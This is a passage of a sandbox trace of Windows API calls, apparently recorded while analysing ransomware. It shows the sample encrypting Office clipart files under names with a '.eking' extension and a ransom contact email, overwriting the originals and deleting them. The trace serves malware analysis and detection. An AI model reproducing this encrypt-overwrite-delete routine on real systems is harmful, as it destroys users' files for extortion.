nNumberOfBytesToWrite=0x127e, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x127e, lpOverlapped=0x0) returned 1 [0190.958] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.963] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.966] CloseHandle (hObject=0x1b8) returned 1 [0190.967] CloseHandle (hObject=0x1e8) returned 1 [0190.975] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0190.976] SetEvent (hEvent=0x174) returned 1 [0190.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.978] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5684) returned 1 [0190.978] CloseHandle (hObject=0x1e8) returned 1 [0190.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0190.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0190.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.979] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.979] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0190.980] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1634, lpOverlapped=0x0) returned 1 [0190.982] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1640, lpOverlapped=0x0) returned 1 [0190.983] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.983] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.984] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.984] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1634, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1634, lpOverlapped=0x0) returned 1 [0190.991] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.996] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.998] CloseHandle (hObject=0x1e8) returned 1 [0190.998] CloseHandle (hObject=0x1b8) returned 1 [0190.999] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0191.001] SetEvent (hEvent=0x174) returned 1 [0191.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.001] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=20578) returned 1 [0191.001] CloseHandle (hObject=0x1b8) returned 1 [0191.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0191.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0191.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.002] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.002] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.003] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x5062, lpOverlapped=0x0) returned 1 [0191.005] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x5070, lpOverlapped=0x0) returned 1 [0191.007] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.007] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.007] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.007] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x5062, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x5062, lpOverlapped=0x0) returned 1 [0191.013] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.022] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.024] CloseHandle (hObject=0x1b8) returned 1 [0191.024] CloseHandle (hObject=0x1e8) returned 1 [0191.026] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0191.027] SetEvent (hEvent=0x174) returned 1 [0191.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.029] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10832) returned 1 [0191.029] CloseHandle (hObject=0x1e8) returned 1 [0191.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0191.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0191.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.029] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.029] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.031] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x2a50, lpOverlapped=0x0) returned 1 [0191.033] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2a60, lpOverlapped=0x0) returned 1 [0191.034] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.034] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.034] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.034] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x2a50, lpOverlapped=0x0) returned 1 [0191.037] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.040] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.043] CloseHandle (hObject=0x1e8) returned 1 [0191.043] CloseHandle (hObject=0x1b8) returned 1 [0191.046] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0191.047] SetEvent (hEvent=0x174) returned 1 [0191.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.048] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=14428) returned 1 [0191.048] CloseHandle (hObject=0x1b8) returned 1 [0191.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0191.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0191.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.048] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.048] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.049] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x385c, lpOverlapped=0x0) returned 1 [0191.051] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x3860, lpOverlapped=0x0) returned 1 [0191.052] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.053] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.053] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.053] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x385c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x385c, lpOverlapped=0x0) returned 1 [0191.055] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.058] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.062] CloseHandle (hObject=0x1b8) returned 1 [0191.062] CloseHandle (hObject=0x1e8) returned 1 [0191.067] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0191.068] SetEvent (hEvent=0x174) returned 1 [0191.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.069] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7072) returned 1 [0191.069] CloseHandle (hObject=0x1e8) returned 1 [0191.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0191.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0191.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.070] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.070] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.071] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1ba0, lpOverlapped=0x0) returned 1 [0191.073] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1bb0, lpOverlapped=0x0) returned 1 [0191.075] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.075] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.075] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.075] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1ba0, lpOverlapped=0x0) returned 1 [0191.077] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.081] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.086] CloseHandle (hObject=0x1e8) returned 1 [0191.087] CloseHandle (hObject=0x1b8) returned 1 [0191.089] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0191.091] SetEvent (hEvent=0x174) returned 1 [0191.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.091] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3344) returned 1 [0191.091] CloseHandle (hObject=0x1b8) returned 1 [0191.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0191.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0191.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.092] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.092] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.093] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xd10, lpOverlapped=0x0) returned 1 [0191.095] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xd20, lpOverlapped=0x0) returned 1 [0191.096] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.096] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.096] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.096] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xd10, lpOverlapped=0x0) returned 1 [0191.099] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.102] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.104] CloseHandle (hObject=0x1b8) returned 1 [0191.104] CloseHandle (hObject=0x1e8) returned 1 [0191.105] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program 